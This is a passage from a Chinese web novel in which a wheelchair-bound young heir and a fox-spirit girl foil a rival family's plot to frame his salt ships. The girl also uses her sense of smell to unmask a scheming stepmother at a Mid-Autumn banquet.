“陆芸芸回去后,在她父亲面前哭诉,说萧家纵容妖物欺辱官家小姐。陆正明已暗中联络几位江南盐商,打算在漕运税银上做文章,卡萧家的船。”
他看向萧瑾慕:“陆家管着江南织造,虽不直接插手盐务,但在各州县人脉颇广。若他们真暗中使绊子,萧家下个月的盐船,恐怕不好过江。”
倾倾从萧瑾慕怀里探出头,好奇地看着桌上发光的地图,小鼻子动了动。
她忽然指着图上另一处院落,奶声奶气地说:“这里有股讨厌的味道。和那天在铺子里,那个姐姐身上的味道一样。”
傅折洲挑眉:“这是陆芸芸的闺房。”
倾倾皱着小鼻子,嫌弃地说:“就是那里!味道好冲,像放坏了的桂花糕!”
萧瑾慕眸光微动。
他看向傅折洲:“折洲兄特意来报信,这个人情我记下了。只是不知,陆家打算如何做文章?”
傅折洲从袖中取出一张纸条,推过去:
“三日后,江宁码头,税吏会‘恰好’查验萧家盐船。查验时间会比往常长三倍,船上盐袋若在码头曝晒过久,受潮变质,那么损失的可不止一批盐。”
萧瑾慕接过纸条,扫了一眼,缓缓折起。
“三日后么。”他指尖轻敲轮椅扶手,“时间倒是够。”
傅折洲看着他平静的脸色,忽然问:“瑾慕打算如何应对?”
萧瑾慕抬眼,微微一笑:“陆家想玩,那就陪他们玩玩。”
他顿了顿,补充道:“不过,需要折洲兄帮个小忙。”
“你说。”
“陆正明既然要查萧家的船,”萧瑾慕语气平淡,“那就让他查。只是查的时候,最好让‘恰好’路过的巡抚衙门文书官,也‘恰好’看到些有趣的东西。”
傅折洲眸光一闪,明白了他的意思。
他略一颔首:
“家父与巡抚大人月初刚通过信。这事,我回去递句话即可。”
两人对视一眼,心照不宣。
倾倾听着这些她听不懂的话,渐渐困了,小脑袋一点一点,靠在萧瑾慕怀里睡了过去。
睡梦中,她小声嘟囔:
“萧瑾慕,五十块桂花糕。不许赖账……”
萧瑾慕失笑。
——
翌日清晨,倾倾是被甜香勾醒的。
她光着脚跑到饭厅,瞬间僵在门口。
圆桌正中,五十块桂花糕垒成一座金灿灿的小山,比她脑袋还高。
倾倾张着小嘴,呆住了。
萧瑾慕端着茶盏,眼底压着笑意:“醒了?不是说要把五十块都吃完?”
倾倾小脸一红,但嘴硬:“吃就吃!”
她踮脚去够最顶上那块——够不着。
萧瑾慕伸手取下一块,递到她嘴边。
“啊呜。”
第一块,甜香满口。
第二块,眯眼满足。
第三块,腮帮子鼓成小仓鼠。
……
第五块,速度慢下来了。
第八块——
“嗝。”
倾倾捧着半块桂花糕,可怜巴巴抬眼:“萧瑾慕,倾倾吃不下了。”
她耳朵耷拉着,声音越来越小:“倾倾错了,不知道五十块有这么多。”
萧瑾慕轻笑出声,没再逗她:“逗你的。能吃多少吃多少
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,剩下的分给粉**绿。”
倾倾眼睛一亮,又努力塞了两块,终于彻底瘫在椅子上,摸着小肚皮,一脸餍足。
萧瑾慕将她抱到窗边软榻上,轻轻给她揉肚子。
阳光落进来,倾倾舒服地眯着眼,忽然仰头问:
“萧瑾慕,昨天傅哥哥说的那个陆家使坏的事,怎么样了呀?”
萧瑾慕手上动作顿了顿:“倾倾怎么想起问这个?”
“倾倾听到啦。”小姑娘认真地说,“虽然听不懂,但知道有人要欺负萧瑾慕。”
她说着,小拳头又捏起来:“倾倾可以帮忙!倾倾的鼻子可灵了,能闻到坏人的味道!”
萧瑾慕眸光微软,温声道:“不用倾倾操心,我能应付。”
“可是,”倾倾还想说什么,门外忽然传来急促的脚步声。
荣青推门而入,玄色劲装上沾着码头的水汽,显然是一路疾驰而来。
他单膝跪地,双手呈上一封边角微潮、封漆完整的密信:
“少爷,江宁码头急报。税吏何廉提前一日到场,已带人围了咱们三号、五号盐船。这是潜伏在码头的暗桩递出来的。”
他顿了顿,声音压低:
“何廉袖中,藏着东西。”
萧瑾慕接过密信,拆开。
纸上只有一行极小的字,是暗桩冒死塞出来的:
【袖有异粉,色莹绿,疑南疆物。】
萧瑾慕折起信纸,目光在那行字上停了一瞬,面上看不出丝毫波动。
倾倾从他臂弯里探出小脑袋,鼻尖动了动,没闻到臭味,又缩回去。
萧瑾慕垂眸,将她往怀里带了带,声音平淡:
“提前了一日,倒是比预想的更急。”
他抬眼:
“备车,去码头。”
第27章 码头对峙
江宁码头,江风凛冽。
原本井然有序的萧家盐船此时被官兵重重包围。领头的税吏何廉挺着肥硕的大肚子,手里掂着一根通红的火签,在甲板上走得大摇大摆。
“查!给我仔仔细细地查!”何廉尖着嗓子喊道,“接到举报,萧家盐船私藏违禁之物,若有差池,尔等担待得起吗?”
不远处的茶楼二层,陆芸芸正凭窗而坐。她换了一身火红的骑装,衬得那张娇俏的小脸多了几分凌厉。她死死盯着码头的动向,眼底满是快意。
“萧瑾慕,你不是自诩算无遗策吗?今日这‘私盐藏妖’的罪名,我看你如何洗得清!”
就在此时,一阵稳健的步履声伴随着细微的轮椅辘辘声传来。
萧瑾慕一袭玄青色锦袍,端坐在乌木轮椅上,神色淡漠得如同一汪寒潭。
而在他怀里,一个粉雕玉琢的小团子正探出脑袋,手里还捏着半块没吃完的桂花糕,正是倾倾。
“哟,萧大少爷亲自来了?”何廉阴阳怪气地拱了拱手,“正好,这第一舱盐,咱们刚查出点有趣的东西。”
一名衙役抬着个木盆走过来,盆里盛着半满的青盐。但在盐层之下,竟然泛着阵阵诡异的莹绿色粉末,在阳光下显得格外扎眼。
何廉叫嚣:“这可是南疆传来的妖骨粉!萧家在官盐里掺这东西,是想谋逆还是想祸乱江南?”
萧瑾慕连眼皮都没抬一下,修长的手指依旧漫不经心地替倾倾拍掉裙摆上的点心渣。
倾倾原本正吃得欢,此时小鼻子忽然猛地抽动了两下,大眼睛里瞬间蓄满了嫌弃。
“好臭呀!”
倾倾清脆的小奶音响彻码头。
她从萧瑾慕怀里跳下来,迈着小短腿,像只敏捷的小狐狸般窜到何廉面前。
她皱着小眉头,嫌恶地扇了扇风:“这股味道,跟陆家姐姐身上的味道一模一样,都是放坏了的桂花糕味儿,臭死啦!”
何廉脸色剧变:“哪来的野丫头,竟敢咆哮公堂!”
“倾倾没有咆哮,倾倾在抓贼!”小姑娘叉着腰,义正辞严地指着何廉宽大的袖口,“那绿绿的粉末,就在你袖子里藏着呢!刚才你抓盐的时候,‘噗’地一下撒进去的,我闻得清清楚楚!”
此言一出,周围原本看热闹的百姓顿时议论纷纷。
茶楼二层,陆芸芸死死攥着窗棂。
她死死盯着码头的动向,眼底兴奋越来越浓。
快了,只要何廉把这盆盐往巡抚衙门一送,萧瑾慕就完了。
可下一秒,她听见那道清脆的童音:
“那绿绿的粉末,就在你袖子里藏着呢!”
陆芸芸脸色瞬间惨白。
她下意识往后退了半步,背脊撞上椅背。
此刻那粉末正从何廉袖中漏出,在日光下泛着诡异的莹绿。
陆芸芸惊得猛地站起,手中的帕子被绞成麻花。
她算准了一切,却唯独没算到,这来历不明的野丫头,鼻子竟然比灵狐还要灵万倍!
“胡言乱语!给我拿下!”何廉恼羞成怒,伸手就想去抓倾倾。
“何大人好大的威风。”
萧瑾慕冷笑一声,轮椅扶手上的机括轻响。
荣青瞬间闪身而出,手中长剑虽未出鞘,却已稳稳横在何廉颈间。
就在这时,码头外围传来一阵急促的马蹄声。一名身着六品官服的文书官飞马而至,身后跟着的,竟然是总督府的精锐亲兵!
“奉巡抚大人命,查江宁码头税吏勾结私商、栽赃陷害一案!”
文书官翻身下马,对着萧瑾慕微微颔首,随后冷冷看向早已瘫软在地的何廉:“何大人,你袖子里那些‘有趣的东西’,还是跟咱们去巡抚衙门交代吧!”
一场足以覆灭萧家的危机,在倾倾的几个喷嚏声中化为乌有。
陆芸芸眼见大势已去,恨恨地摔了茶盏,连滚带爬地离去,深怕晚了一步就被萧瑾慕的人扣下。
荣青抬眸看向萧瑾慕,萧瑾慕垂着眼,替倾倾擦手指,只淡淡道:“让她走。陆正明的女儿,得活着回到陆家。”
倾倾仰起小脸,小声嘟囔:
“萧瑾慕,倾倾刚才好像帮到你啦?”
她声音软软的,不像邀功,倒像在问他自己是不是真的做了有用的事。
萧瑾慕眼底那冰封**的寒意瞬间消融。他俯身将她抱回怀里,轻声道:“倾倾最厉害。”
“那……”倾倾掰着小手指头,趁机讲起条件,“那剩下的三十块桂花糕,能不能换成大大的肉包子呀?甜的吃多啦,倾倾想吃肉肉!”
萧瑾慕忍俊不禁,捏了捏她软乎乎的脸颊:“准了。”
——
陆芸芸逃出茶楼时,发髻已散,骑装上沾了茶水渍。
她跌跌撞撞钻进马车,车帘落下的瞬间,忽然想起。
那只瓷瓶上的暗纹,她好像在父亲的客簿上见过。
三日前,一张无署名的纸条从门缝塞进她的闺房
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,上面只有一行字“江宁码头,萧家盐船,此粉可使萧瑾慕万劫不复”。
纸条旁静静躺着一只拇指大的瓷瓶,瓶身刻着她看不懂的暗纹。
她以为是天助,毫不犹豫交给了何廉。
陆芸芸一进家门便哭喊着要陆正明为她做主,却没想到,迎接她的不是父亲的安慰,而是一记响亮的耳光。
“畜生!你知不知道你今日在码头闯了多大的祸!”
那封密信劈头盖脸砸下来,纸角沾着总督府的朱印,字字都是陆家勾结何廉、栽赃萧家的铁证。
陆芸芸捂着脸,不可置信地抬头。
此刻她才明白,那不是天助,是催命符。
陆正明却没再看她,背过身去,声线冷得像腊月的江水:
“送大小姐进祠堂。没我的吩咐,一步不准出。”
——
萧瑾慕是酉时末回到萧府的。
倾倾在马车上就睡着了。
小脸睡得红扑扑,嘴角还挂着没擦干净的油渍,手里死死攥着那半个没舍得吃完的肉包子,油纸都洇透了。
荣青掀开车帘,刚要开口。
萧瑾慕抬了抬手。
他没叫醒她,也没让人接。
就那么单手托着怀里那团软乎乎的小东西,另一手推过轮椅的轮圈,沿着府中僻静的夹道,慢慢往偏院去。
荣青跟在三步外,方才在码头,暗桩趁乱递了张条子过来。他袖中一直压着,此刻才开口:
“主子,鲁氏院子那边今晚有动静。偏门虚掩着,像是等人。”
萧瑾慕没答。
轮椅碾过青石板,辘辘轻响。
他低头看了一眼怀里睡得不知今夕何夕的小姑娘。
半晌。
“让她等。”
荣青微顿:“是。”
房间的门掩上。
萧瑾慕没点灯。
他把倾倾放到榻上,那半个包子还攥在她手里,抽不出来。
他就没再抽。
只是把被子拉过来,盖住她露在外头的小脚丫。
然后就这样守在榻边,看了她很久。
月光从窗棂漏进来,落在那根攥着包子皮的小手指上,沾着油,亮晶晶的。
他伸出手,轻轻握进掌心。就着这点光亮,看了很久。
——
同一片夜色下。
鲁氏院中那盏灯,一直亮到二更。
丫鬟早被她打发了。偌大的正屋只剩豆大一点烛火,映在屏风上,明暗不定。
偏门被缓缓推开。
第28章 倾倾高能时刻前奏
天还没亮透,宗祠偏院的门就被撞开了。
血味没散。
丫鬟端着水盆进来换供花,一脚踏进门,愣了愣。
萧文柏与萧文仲背靠背捆在一起。
盆摔在地上,水泼了一地。
“**啦——!!!”
尖叫声劈开整座萧府。
半刻钟后,萧老夫人被搀到院门口,没有进去。
“谁干的?”
没人敢应。
人群后方,一道温婉的女声轻轻响起:
“这死法,妾身早年听人说过。”
众人回头。
鲁氏穿着秋香色褙子,发髻一丝不乱。
“妖物害人,吸尽精血,便是这副模样。”
她的目光越过人群,落向萧瑾慕怀里那个小小人儿。
倾倾正扒着萧瑾慕的衣襟,被他用手掌蒙住眼睛。
她什么都看不见。
但她的耳朵动了动。
那个坏母亲,在说她。
萧瑾慕把倾倾的脸往自己肩窝按了按,确定她什么都看不见、什么都闻不着。
然后他抬起眼。
“母亲方才说,妖物害人。”
声音不重。
“证据呢。”
鲁氏的笑意顿了一下。
“这死状……”
“死状蹊跷,府医尚未验明,母亲已断定为‘妖物’。”
萧瑾慕打断她。
“若府医验出是人为,母亲这话,是在替凶手遮掩,还是自己就是知情人?”
众人目光落回鲁氏身上。
鲁氏脸上的温婉僵住。
“慕儿,你这话是什么意思?”
“儿子只是在问。”
萧瑾慕语气平淡。
“母亲指认妖物,儿子请母亲拿证据。有证据,交官府;没证据,往后还是慎言为好。”
他顿了顿。
“往后还是慎言为好。”
鲁氏没有说话。
萧老夫人指间的佛珠停了。
她看着自己一手带大的孙儿。
十岁的少年坐在轮椅里,脊背挺直,面色平静。
他没有发怒,没有失态。
只是把对方的话,一句一句,堵了回去。
“老大媳妇。”
萧老夫人开口。
“慕儿说得在理。死因未明,不该妄言。”
鲁氏垂下眼。
“是。”
她转身欲走。
“母亲留步。”
萧瑾慕又开口了。
鲁氏顿住。
“儿子还有一件事想问。”
“黄管事今日怎么不在?”
鲁氏的脊背僵了一瞬。
“黄管事替老夫人出府办事去了。”
“那便奇怪了。”
萧瑾慕垂下眼。
“有人看见,前夜二更,黄管事从母亲院中出来,手里拿着一个靛蓝包袱。”
他抬起眼。
“母亲可知,那包袱里装的是什么?”
鲁氏没有立刻回答。
她的笑意还挂在脸上,但嘴角已经有些僵。
“慕儿看错了。”
“是吗?”
萧瑾慕应了一声。
仿佛只是随口一问。
然后他抬手,示意荣青推轮椅。
“祖母,孙儿先告退。”
萧老夫人点点头。
轮椅碾过青石板,辘辘远去。
鲁氏站在原地,脸上还挂着那副温婉的笑。
——
月洞门后。
倾倾从萧瑾慕肩窝里挣出半张脸。
“萧瑾慕。”
“嗯。”
“她为什么一直笑?”
萧瑾慕没有答。
倾倾等了一会儿,没等到答案,也不追问。
她只是把小手伸进他掌心,攥住他一根手指。
“萧瑾慕。”
“那个黄管事,是臭臭叔叔。”
萧瑾慕低下头看她。
“你怎么知道?”
“倾倾闻到的呀。”
她理所当然地说。
“那天在祖母院子门口,臭臭叔叔从倾倾身边走过去,就是这个味儿。”
她皱着小鼻子,努力回忆。
“后来那个黄毛老道士也有这个味儿。但是老道士的更臭,臭臭叔叔的淡一点。”
“就像是”她想了很久,“像臭豆腐,和更臭的臭豆腐。”
萧瑾慕看着自己被攥住的那根手指。
他说道:“以后,离他远些。”
“哦。”
倾倾乖乖点头。
然后她想起什么,仰起脸。
“萧瑾慕,你是不是要打他了?”
她把脑袋往他肩窝里一靠,打了个小小的哈欠。
“你打他的时候,一定记得叫倾倾呀。”
萧瑾慕笑了一下,说道:“一定叫你。”
轮椅没有回书房。
他带她去了花园西角。
让荣青推到那处荒废多年的旧墙根下。
他把倾倾放下来。
“去玩吧。”
倾倾仰头看他。
这里没有桂花树,没有秋千,只有一堵爬满枯藤的老墙,和墙根下几丛还没开花的野菊。
一点也不好玩。
但萧瑾慕让她来玩,她就玩。
她蹲下身,用手指戳了戳那几丛野菊。
又揪了一根狗尾巴草,在掌心绕来绕去。
很乖,很安静。
萧瑾慕看着她。
“青锋。”
身后无人处,一道黑影落定。
“少爷。”
“包袱查到了?”
“查到了。”
“送到哪去了。”
青锋报了一个地名。
萧瑾慕点了点头。
“那间屋子呢。”
青锋顿了一下。
“底下确实有人。”
“多久了。”
“至少半年。”
“几个人。”
“……不止一个。”
萧瑾慕看着自己搭在膝上的手,刚刚被倾倾握过的地方,沉思片刻后问道:
“三日后是什么日子?”
“中秋。”
“府里惯例办家宴?”
“是。老夫人主持,各房都要到。”
萧瑾慕没有再问。
他抬起眼,看向墙根下那只蹲着揪草的小姑娘。
她正把狗尾巴草编成一个小环,套在指尖转着玩。
“荣青。”
“少爷。”
“中秋那晚,盯紧偏门。”
“是。”
荣青领命退下。”
花园里只剩他和倾倾两个人。
倾倾把草环编好了。
她举起来,冲萧瑾慕晃了晃。
“萧瑾慕你看!倾倾编的!”
萧瑾慕看着她。
“好看。”
倾倾满意了。
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>她把草环往萧瑾慕手腕上一套,退后两步,左看右看,点点头。
“嗯!萧瑾慕戴什么都好看!”
然后她打了个哈欠。
蹲了半天,困意说来就来。
萧瑾慕看着她揉眼睛。
“困了?”
倾倾点了点头。
然后往他轮椅边一蹲,把脑袋搁在他膝盖上。
“倾倾就在这里睡。”
萧瑾慕没说话。
午后的风从墙头吹过来,枯藤簌簌作响。
他低下头。
看着那颗毛茸茸的脑袋。
然后把手掌悬在她头顶,虚虚的,挡着从墙缝漏下来的那一点日光。
给一只小狐狸搭了个凉棚。
倾倾睡着了。
呼吸均匀。
萧瑾慕维持着这个姿势,很久。
傍晚时分,倾倾是被一阵米香勾醒的。
她迷迷糊糊睁开眼,就看见萧瑾慕手里捏着一块热腾腾的米糕。
金灿灿的,表面撒着细碎的白糖。
她一个激灵坐起来,眼睛瞪得溜圆。
“是饭团做的米糕!”
萧瑾慕把米糕递过去。
倾倾接过来,啊呜一口咬下去。
烫得直哈气,又不舍得吐,含含糊糊地说:“好、好次……”
萧瑾慕等她咽下去,才开口。
“傅折洲让人送来的。”
“傅哥哥来啦?”
“没有。差人送的。”
“哦。”
倾倾又咬了一口。
她嚼着米糕,忽然抬起头。
“萧瑾慕,你今天问了那个坏母亲好多问题。”
萧瑾慕没有接话。
“你问完了,她就不说话了。”
倾倾歪着头,努力回忆。
“她刚才在门口,还一直笑。后来就不笑了。”
她看着萧瑾慕。
“你是不是打赢了?”
萧瑾慕顿了一下。
“算是。”
“那你为什么不太高兴?”
萧瑾慕看着自己手腕上那个歪歪扭扭的狗尾巴草环。
说道:“还没打完。”
倾倾眨眨眼,把手里的米糕掰下一半,递到萧瑾慕嘴边。
“那先吃。”
她说。
“吃饱了再打。”
萧瑾慕低头。
看着那块递到嘴边的米糕。
金灿灿的,还冒着热气。
他张口,咬住了。
倾倾满意地点点头。
萧瑾慕看着她。
“那倾倾帮我看着中秋家宴。谁身上,会有黄管事的味道。”
倾倾用力点头。
“嗯!倾倾帮你看着!”
她攥着小拳头,眼睛亮晶晶的。
“要**的时候,也叫倾倾。”
萧瑾慕说“好”,伸出手把那个快要从她指缝漏掉的、米糕的油纸,轻轻接过来。
然后起身,推着轮椅,往书房去。
倾倾跟在他旁边,小短腿迈得飞快。
“萧瑾慕,明天还有米糕吗?”
“不知道。”
“那你去问傅哥哥呀。”
“……”
“你不问他,倾倾自己去问!”
“明天让荣青去问。”
“好耶!”
暮色里,一高一矮两道影子,拉得很长。
脚步声碎碎的,落在青石板上。
第29章 倾倾高光时刻!
萧府的中秋宴,摆了十二桌。
正厅悬满绛纱灯,烛影映在鎏金酒盏上,晃得人眼花。廊下新供的菊花层层叠叠,黄白相间,压着金桂残香,混成一片腻人的甜。
各房主位按序落座。
萧老夫人居中,身后站着赵嬷嬷,指间佛珠一粒粒捻得极慢。
萧敬安在左首,面色仍有些苍白,精神却已大好。
鲁氏坐在老夫人右下手。
她今日穿得隆重,秋香色织锦褙子,发间簪了整套赤金头面。脂粉匀停,笑意温婉,仍是那个挑不出半分错处的当家主母。
只是那笑意,今晚格外深了些。
萧瑾慕的轮椅停在末席。
不是萧家轻慢他,是他自己挑的位置。
靠门,背光,能把整座正厅收进眼底。
倾倾坐在他旁边的小杌子上,正埋头对付碗里的桂花糖藕。
她的吃相从来不算斯文,腮帮子鼓成两个小包,筷子戳了半天戳不起那片最厚的藕。
萧瑾慕伸手。
替她把藕夹进勺里。
倾倾抬头,冲他弯起眼睛。
全程没有人注意这一幕。
除了角落里那道阴鸷的目光。
萧熠坐在末末席,两条胳膊都吊着白布,活像只被捆了爪子的鹌鹑。他盯着倾倾的背影,牙咬得咯咯响。
可他不敢动。
那晚在花园里,萧瑾慕俯身对他说的话,至今还在他噩梦里回响。
萧熠狠狠别过脸,把满腔怨毒咽回喉咙里。
宴过三巡。
鲁氏放下牙箸。
她抬起头,望向老夫人。
“母亲。”她开口,声音轻柔,“今日中秋团圆,妾身有一事,想在席上说。”
萧老夫人捻着佛珠的手没停。
“说。”
鲁氏起身。
她先是转向萧敬安,微微颔首。
“夫君大病初愈,妾身悬了多日的心,总算放下了。”
萧敬安眉头微蹙,嗯了一声。
鲁氏又转向老夫人
。
“妾身入府十五年,多赖母亲包容,从无一日敢忘。”
老夫人看了她一眼,没接话。
最后,鲁氏的目光落在末席。
落在那个坐在萧瑾慕身侧的小人儿身上。
她的笑意更深了一些。
“说起来,倾倾姑娘进府这些日子,阖府上下都夸你乖巧伶俐。”她说,“母亲疼你,夫君敬你,连慕儿也寸步不离地护着你。”
“妾身这个做主母的,倒一直没好好谢过你。”
她抬了抬手。
身侧的丫鬟立刻碎步上前,红漆托盘上静静卧着一只白瓷杯。
杯壁薄如蝉翼,茶汤清亮,烛火映进去,漾着一圈淡淡的暖光。
鲁氏端起那只杯。
“今日中秋团圆,妾身借花献佛。”
她将茶盏递到倾倾面前。
“敬你一杯。”
满厅的目光聚过来。
萧敬安的眉头皱紧了。
他张嘴想说什么,却发现自己不知道该说什么。
鲁氏从头到尾,句句体面,字字周全。
挑不出半分错处。
萧瑾慕没有动。
他只是看着那只白瓷杯。
鲁氏的手稳得很。
倾倾抬起头。
她看着那杯茶。
没有接。
她只是轻轻吸了吸鼻子。
然后。
她皱起小眉头。
“坏母亲。”她说,声音软糯:“你身上好臭。”
鲁氏的笑意顿了一下。
“是臭臭叔叔的味道。”倾倾认真地回忆,鼻尖还在耸动,“一模一样。”
“还有上个月,在祖母院子门口,他从倾倾身边走过去,也是这个味道。”
她抬起头,看着鲁氏,眼神干净又困惑。
“你为什么天天和臭臭叔叔待在一起呀?”
鲁氏没有动。
她甚至还在笑。
可是那笑意,已经僵在嘴角。
黄管事。
那个包袱。
这十五年里,每月十五,准时送来的“安神养荣丸”。
那特殊的、经久不散的妖气。
这孩子,怎么会闻得到?
这不可能。
她只是随口胡说。
对,只是胡说。
鲁氏仍端着那杯茶,仍笑着,仍维持着主母的体面。
“倾倾姑娘说笑了。”她听见自己的声音,轻飘飘的,像隔了一层水,“妾身怎么会有……”
话没说完。
她的喉咙里,忽然涌上一股腥甜。
不是情绪。
是从内脏深处翻涌上来的、不属于人类的、腐坏的气息。
她张了张嘴。
想说什么。
可她什么也没说出来。
因为她的舌头,已经不听使唤了。
“吱。”
一声极轻的、不属于人类的嘶鸣。
从她喉咙深处溢出。
白瓷杯从她手中滑落。
碎在地上。
茶水泼洒,浸入地砖缝隙。
无色,无味。
什么也没有发生。
可鲁氏的脸,瞬间老了三十岁。
最可怕的是。
她的右肩拱了起来。
隔着层层锦缎衣料,所有人都能看见那里有一个不属于人体骨骼弧度的凸起。
那东西在动。
它在皮下游走,从肩膀爬到锁骨,从锁骨往咽喉钻。
满厅的呼吸都停了一瞬。然后不知是谁先动的,杯盘落地声骤然炸开。
鲁氏还站在原地。
青灰色的纹路爬满整张面皮,像蛛网,像皲裂的泥沼。她的眼珠向外凸起,瞳仁里有什么东西在翻涌。
那不是人的眼睛。
萧老夫人豁然起身。
指间的佛珠崩断。
一百零八颗沉香木珠噼里啪啦砸在地上,滚得到处都是。
“来人!”
她只喊出这两个字。
可是没有人动。
因为此刻,鲁氏的脖颈鼓起一个鸡蛋大的包。
皮肤被撑到近乎透明。
透过那层薄薄的皮肉,所有人都能看见里面是一团青灰色的、蠕动着的、不成形状的,
妖丹残渣。
不是完整的妖丹。
是一颗已经碎了九成、只剩最后一丝妖力维系、苟延残喘了不知多少年的死丹
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。
它没有自己的意识。
它只剩下本能。
活下去。
鲁氏的喉咙开始撕裂。
血珠从细密的伤口渗出,顺着颈纹往下淌。
“倾倾。”
是萧瑾慕在叫她。
倾倾说:“它很疼。”
她转过头,看了萧瑾慕一眼。
隔着满厅的狼藉,隔着那些尖叫着往后退的人群,隔着碎了一地的佛珠和茶渍。
他坐在轮椅上,没有动。
也没有拦她。
他从来不在她想做对的事的时候拦她。
倾倾收回目光。
低头,看了看自己的手。
很小,五根短短的手指头,指甲盖还是淡粉色的。
她又抬头,看了看鲁氏喉咙里那团快要破体而出的、挣扎着的、青灰色的东西。
对萧瑾慕说:“倾倾能帮它。”
然后她从椅子上跳了下来。
小短腿迈开。
一步一步。
穿过满地狼藉的杯盘碎屑,穿过崩散一地的沉香木珠,穿过那些尖叫着往后退、恨不能离鲁氏再远三尺的人群。
没有人敢拦她。
所有人都在后退。
只有她,在往前走。
她走到鲁氏面前。
那个鸡蛋大的鼓包,此刻已经顶到喉咙最薄的那层皮。
再一息,就要炸开。
她不怕。因为她知道它在求救。
倾倾踮起脚。
够不着。
她皱起眉头,左右看看,从旁边拖过一只翻倒的绣墩。
爬上去。
站稳。
然后她伸出手。
轻轻按在鲁氏的喉咙上。
隔着那层即将撕裂的皮肤。
将那团濒死的、疯狂挣扎的妖丹残渣从鲁氏的喉间,缓缓地、温驯地、被一缕极淡的莹白光芒牵引着,
落入倾倾的掌心。
鲁氏的身体往后仰去。
她还有呼吸。
她没有死。
那枚残丹安静地躺在倾倾手心里。
不再挣扎,不再蠕动。
它像终于可以休息了。
然后化为灰烬从她指缝簌簌飘落。
倾倾望向那个坐在轮椅上、从头到尾没有离开过原位的少年。
“萧瑾慕。”她说。
“她以后不会难受了。”
水蓝色的裙摆荡开,银线绣的小狐狸在烛火下一闪一闪。
她跑到他面前。
问:“萧瑾慕,我刚才厉害吗?”
“厉害。”
“那明天有肉包子吗?”
“有。”
“好耶!”
她把自己的手塞进他掌心。
那只手还有点凉,指缝里还沾着没拍干净的灰。
萧瑾慕低头。
慢慢把她每一根手指头,都擦干净。
——
倾倾不知道。
七日前,萧瑾慕命人取走了主母院中所有新配的安神养荣丸。
那时她还在为明天能不能多吃一块桂花糕发愁。
现在她只知道,明天会有肉包子。
——
荣青垂首立在门边。
他记得那一步棋。
此刻才知,落在这里。
第30章 余波
昨夜那件事之后,萧府的下人们一夜没睡踏实。
天刚蒙蒙亮,就有人探头探脑地往正厅方向张望。
主母那几声惨叫,到现在还在耳朵里响。
没人敢大声议论。
萧瑾慕的院子却很安静。
倾倾还睡着。她睡姿不好,整个人横在榻上,小脚丫露在被子外面,一只手抓着萧瑾慕的袖子,另一只手塞在枕头底下,像藏了什么宝贝。
萧瑾慕守在榻边。
他没睡。
从昨夜回来到现在,他一直这样坐着。
门外传来极轻的脚步声,停在门口。
“少爷。”
是荣青的声音,压得很低。
萧瑾慕看了一眼倾倾,确定她没醒,才起身走到门边。
“说。”
“老爷那边审完了。黄管事昨夜就被拿下了,在他屋里搜出几个包袱,装的都是那种药丸的配料。人已经押去柴房,和鲁氏隔开。”
萧瑾慕示意他接着说。
荣青继续道:“老夫人亲自坐镇,宾客那边都封了口。昨夜在场的人,每人赏了三个月的月钱,各房主事都被叫去说了话。今早老夫人房里的赵嬷嬷挨个院子走了一遍,再送了一回。”
萧瑾慕嗯了一声。
这是萧老夫人做事的风格。先拿钱堵嘴,再敲打一遍,让人知道什么该忘。
“鲁氏呢?”
“还关着。老爷没让动她,说是要等她醒过来,亲自问。问那十五年,问那些药丸,问黄管事和她……到底什么关系。”
萧瑾慕没接话。
他转身走回榻边,重新坐下。
荣青在门外等了一会儿,没等到下一句吩咐,轻手轻脚地退下了。
屋里重新安静下来。
萧瑾慕想起七日前。
他让人取走主母院中所有新配的安神养荣丸时,并不知道会走到这一步。
——
倾倾迷迷糊糊睁开眼,先看见萧瑾慕坐在窗边,手里端着一盏茶。袖子上有她抓出来的褶子。
她又往四周看,看见桌上摆着一个小碗。
是一碗热腾腾的馄饨,汤上飘着紫菜和虾皮,还有一小碟酱菜,两个金黄的煎饺
倾倾眼睛亮了。
她爬上凳子坐好,拿起勺子,先舀了一个馄饨,吹了吹,塞进嘴里。
烫,鲜,好吃。
她嚼着嚼着,忽然停下来,看向萧瑾慕。
萧瑾慕感觉到她的目光,抬眼看她。
“怎么了?”
倾倾想了想,说:“那个坏母亲。”
萧瑾慕没说话。
“她还在吗?”
“在。”
“她还会来害我们吗?”
“不会。”
倾倾点点头,又咬了一口。
嚼完这一口,她又问:“她会死吗?”
萧瑾慕看着她。
那小东西脸上不是害怕,也不是高兴,就是单纯的问一问。
“不会。”他说,“她只是不会再来了。”
倾倾又点点头。
萧瑾慕忽然想起昨夜,她站在那只翻倒的绣墩上,把手按在鲁氏喉咙上的样子。
那团东西在她掌心下安静下来。
她没害怕。
她只是做了她觉得该做的事。
萧瑾慕伸手,把她嘴角的汤汁蹭掉。
“吃吧。”
倾倾眯着眼笑,继续埋头吃她的馄饨。
吃完早饭,倾倾趴在窗台上消食。
外面阳光正好,院子里几只麻雀在地上蹦来蹦去,叽叽喳喳的。
倾倾盯着看了一会儿,忽然回头:“萧瑾慕,我可以出去玩吗?”
萧瑾慕翻书的手顿了一下。
“去哪?”
“就院子里。”
眼睛里亮晶晶的,满脸都写着“我想出去”四个大字。
“荣青。”
门开了:“少爷?”
“陪她出去。别跑远。”
倾倾立刻从窗台上滑下来,跑过去拉住荣青的袖子:“走走走!”
荣青被她拽得踉跄两步,苦着脸回头看萧瑾慕。
萧瑾慕没看他。
他看着倾倾跑出去的背影,嘴角弯了一下。
院子里,倾倾蹲在墙角,看一只蚂蚁搬东西。
荣青站在旁边,东张西望。
“倾倾小姐,咱们回去吧?外面太阳大。”
倾倾头也不回:“不回去。蚂蚁还没搬完。”
荣青低头看了一眼。
一只蚂蚁拖着半粒米,正艰难地往墙根爬。
“这有什么好看的?”
倾倾认真地说:“它在搬家。”
荣青:“蚂蚁也有家?”
倾倾抬头看他,一脸“你怎么连这个都不知道”的表情:“当然有。它家里人等它吃饭呢。”
荣青噎了一下。
他蹲下来,盯着那只蚂蚁看了一会儿。
蚂蚁拖着那半粒米,爬得很慢,但一直往前。<
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br>倾倾看着看着,忽然皱起眉头。
“它不高兴。”她说。
荣青愣了:“啊?”
“它不高兴。”倾倾指着那只蚂蚁,“它今天早上出门的时候,和家里人吵架了。”
荣青:“0o0?”
他觉得自己脑子有点不够用。
“倾倾小姐,你怎么知道它和家里人吵架了?”
倾倾理所当然地说:“它搬东西的样子,和平时不一样。”
荣青盯着那只蚂蚁看了半天。
怎么看都一模一样。
他决定放弃思考这个问题。
傍晚,倾倾被荣青拎回来。
萧瑾慕坐在窗边看账册。
倾倾跑过去,爬上他旁边的凳子坐好,小脸红扑扑的,头发上沾着两片小叶子。
“回来了?”
